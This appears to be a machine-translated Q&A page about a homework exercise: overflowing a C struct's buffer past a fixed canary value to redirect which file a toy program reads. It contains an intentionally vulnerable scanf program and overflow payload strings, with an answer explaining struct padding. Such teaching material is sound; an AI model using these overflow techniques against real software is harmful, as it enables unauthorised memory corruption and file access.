利用金丝雀保护利用缓冲区溢出

时间:2018-05-18 22:40:28

标签: c gdb buffer-overflow exploit cracking

我试图利用这个简单的程序来完成家庭作业:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFSIZE 1024

typedef struct {
    char flag_content[BUFSIZE];
    char guess[47];
    unsigned canary;
    char flag_file[BUFSIZE];
} st_t;

int main(){
    FILE *f = NULL;
    st_t st = {
        .flag_file = "fake_flag",
        .canary = 0x4249b876
    };

    printf("Guess the flag!\n");
    scanf("%s", st.guess);

    f = fopen(st.flag_file, "rb");
    if (f == NULL){
        printf("flag error\n");
        exit(-1);
    }

    if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
        printf("flag error\n");
        exit(-1);
    }

    if (st.canary != 0x4249b876) {
        printf("canary error\n");
        exit(-1);
    }

    if (!strcmp(st.guess, st.flag_content)){
        printf("You guessed it right!\n");
    } else {
        printf("Sorry but the flag is \"%s\"\n", st.flag_content);
    }
    exit(1);
}

目的是修改st.flag_file插入"flag.txt"而不是"fake_flag.txt"来阅读其内容。

很容易发现缓冲区溢出,但也有一个金丝雀,所以我将此漏洞编写为scanf的输入:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt

我在网上发现十六进制0x4249b876已翻译为v¸IB 但是当我从终端运行代码时,这就是输出

./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error

并使用gdb进行检查我发现变量st.flag_file = "flag.txt"是正确的,但变量st.canary = 0x4249b8c2

我无法理解。为什么呢?

1 个答案:

答案 0 :(得分:1)

您遇到的问题来自struct的对齐要求。特别是,在guesscanary之间,存在编译器正在插入的额外填充。尝试转储整个结构和/或成员的地址,你会看到填充。

最终结果是,您需要超过47个字节(A)才能到达canary,通常还需要一个。{1}}。因此,而不是,例如:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

您将需要:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

请注意,逃离金丝雀的角色可能是一个好主意(为了避免编码等问题)并使其更具可读性(与实际的金丝雀进行比较)。

偏离主题 请注意:

fread(st.flag_content, BUFSIZE, 1, f) < 0

始终为false,因为fread会返回size_t(无符号)。